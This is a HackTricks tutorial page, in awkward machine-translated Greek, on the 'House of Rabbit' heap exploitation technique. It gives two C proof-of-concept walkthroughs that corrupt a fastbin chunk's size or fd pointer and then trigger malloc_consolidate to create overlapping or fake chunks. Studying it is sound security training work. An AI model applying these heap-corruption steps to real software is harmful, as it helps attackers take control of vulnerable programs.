mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
94 lines
6.4 KiB
Markdown
94 lines
6.4 KiB
Markdown
# House of Rabbit
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
### Requirements
|
||
|
||
1. **Δυνατότητα τροποποίησης του δείκτη fd του fast bin ή του μεγέθους**: Αυτό σημαίνει ότι μπορείτε να αλλάξετε τον προ Forward δείκτη ενός chunk στο fastbin ή το μέγεθός του.
|
||
2. **Δυνατότητα ενεργοποίησης του `malloc_consolidate`**: Αυτό μπορεί να γίνει είτε με την εκχώρηση ενός μεγάλου chunk είτε με τη συγχώνευση του κορυφαίου chunk, που αναγκάζει τη heap να συγχωνεύσει τα chunks.
|
||
|
||
### Goals
|
||
|
||
1. **Δημιουργία επικαλυπτόμενων chunks**: Για να έχει ένα chunk επικαλυπτόμενο με ένα άλλο, επιτρέποντας περαιτέρω χειρισμούς στη heap.
|
||
2. **Κατασκευή ψεύτικων chunks**: Για να ξεγελάσετε τον allocator να θεωρεί ένα ψεύτικο chunk ως νόμιμο chunk κατά τη διάρκεια των λειτουργιών της heap.
|
||
|
||
## Steps of the attack
|
||
|
||
### POC 1: Τροποποίηση του μεγέθους ενός fast bin chunk
|
||
|
||
**Objective**: Δημιουργία ενός επικαλυπτόμενου chunk τροποποιώντας το μέγεθος ενός fastbin chunk.
|
||
|
||
- **Step 1: Εκχώρηση Chunks**
|
||
```cpp
|
||
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
||
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
|
||
malloc(0x10); // Allocates a small chunk to change the fastbin state
|
||
```
|
||
Αναθέτουμε δύο κομμάτια των 0x40 byte το καθένα. Αυτά τα κομμάτια θα τοποθετηθούν στη λίστα γρήγορων κομματιών μόλις απελευθερωθούν.
|
||
|
||
- **Βήμα 2: Απελευθέρωση Κομματιών**
|
||
```cpp
|
||
free(chunk1); // Frees the chunk at 0x602000
|
||
free(chunk2); // Frees the chunk at 0x602050
|
||
```
|
||
Απελευθερώνουμε και τα δύο κομμάτια, προσθέτοντάς τα στη λίστα fastbin.
|
||
|
||
- **Βήμα 3: Τροποποίηση Μεγέθους Κομματιού**
|
||
```cpp
|
||
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
|
||
```
|
||
Αλλάζουμε τα μεταδεδομένα μεγέθους του `chunk1` σε 0xa1. Αυτό είναι ένα κρίσιμο βήμα για να ξεγελάσουμε τον αλγόριθμο κατανομής κατά τη διάρκεια της ενοποίησης.
|
||
|
||
- **Βήμα 4: Ενεργοποιήστε το `malloc_consolidate`**
|
||
```cpp
|
||
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
|
||
```
|
||
Η εκχώρηση ενός μεγάλου κομματιού ενεργοποιεί τη λειτουργία `malloc_consolidate`, συγχωνεύοντας μικρά κομμάτια στο γρήγορο bin. Το χειρισμένο μέγεθος του `chunk1` προκαλεί να επικαλύπτεται με το `chunk2`.
|
||
|
||
Μετά τη συγχώνευση, το `chunk1` επικαλύπτεται με το `chunk2`, επιτρέποντας περαιτέρω εκμετάλλευση.
|
||
|
||
### POC 2: Τροποποίηση του δείκτη `fd`
|
||
|
||
**Στόχος**: Δημιουργία ενός ψεύτικου κομματιού με την τροποποίηση του δείκτη `fd` του γρήγορου bin.
|
||
|
||
- **Βήμα 1: Εκχώρηση Κομματιών**
|
||
```cpp
|
||
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
||
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
|
||
```
|
||
**Εξήγηση**: Δεσμεύουμε δύο κομμάτια, ένα μικρότερο και ένα μεγαλύτερο, για να ρυθμίσουμε τη στοίβα για το ψεύτικο κομμάτι.
|
||
|
||
- **Βήμα 2: Δημιουργία ψεύτικου κομματιού**
|
||
```cpp
|
||
chunk2[1] = 0x31; // Fake chunk size 0x30
|
||
chunk2[7] = 0x21; // Next fake chunk
|
||
chunk2[11] = 0x21; // Next-next fake chunk
|
||
```
|
||
Γράφουμε ψευδείς μεταδεδομένες πληροφορίες κομματιού στο `chunk2` για να προσομοιώσουμε μικρότερα κομμάτια.
|
||
|
||
- **Βήμα 3: Απελευθερώστε το `chunk1`**
|
||
```cpp
|
||
free(chunk1); // Frees the chunk at 0x602000
|
||
```
|
||
**Εξήγηση**: Απελευθερώνουμε το `chunk1`, προσθέτοντάς το στη λίστα fastbin.
|
||
|
||
- **Βήμα 4: Τροποποιήστε το `fd` του `chunk1`**
|
||
```cpp
|
||
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
|
||
```
|
||
**Εξήγηση**: Αλλάζουμε τον δείκτη προς τα εμπρός (`fd`) του `chunk1` ώστε να δείχνει στο ψεύτικο chunk μας μέσα στο `chunk2`.
|
||
|
||
- **Βήμα 5: Ενεργοποιήστε το `malloc_consolidate`**
|
||
```cpp
|
||
malloc(5000); // Allocate a large chunk to trigger heap consolidation
|
||
```
|
||
Η εκχώρηση ενός μεγάλου κομματιού ξαναενεργοποιεί το `malloc_consolidate`, το οποίο επεξεργάζεται το ψεύτικο κομμάτι.
|
||
|
||
Το ψεύτικο κομμάτι γίνεται μέρος της λίστας fastbin, καθιστώντας το ένα νόμιμο κομμάτι για περαιτέρω εκμετάλλευση.
|
||
|
||
### Περίληψη
|
||
|
||
Η τεχνική **House of Rabbit** περιλαμβάνει είτε την τροποποίηση του μεγέθους ενός κομματιού fast bin για τη δημιουργία επικαλυπτόμενων κομματιών είτε την παραποίηση του δείκτη `fd` για τη δημιουργία ψεύτικων κομματιών. Αυτό επιτρέπει στους επιτιθέμενους να πλαστογραφήσουν νόμιμα κομμάτια στη heap, διευκολύνοντας διάφορες μορφές εκμετάλλευσης. Η κατανόηση και η πρακτική αυτών των βημάτων θα ενισχύσουν τις ικανότητές σας στην εκμετάλλευση της heap.
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|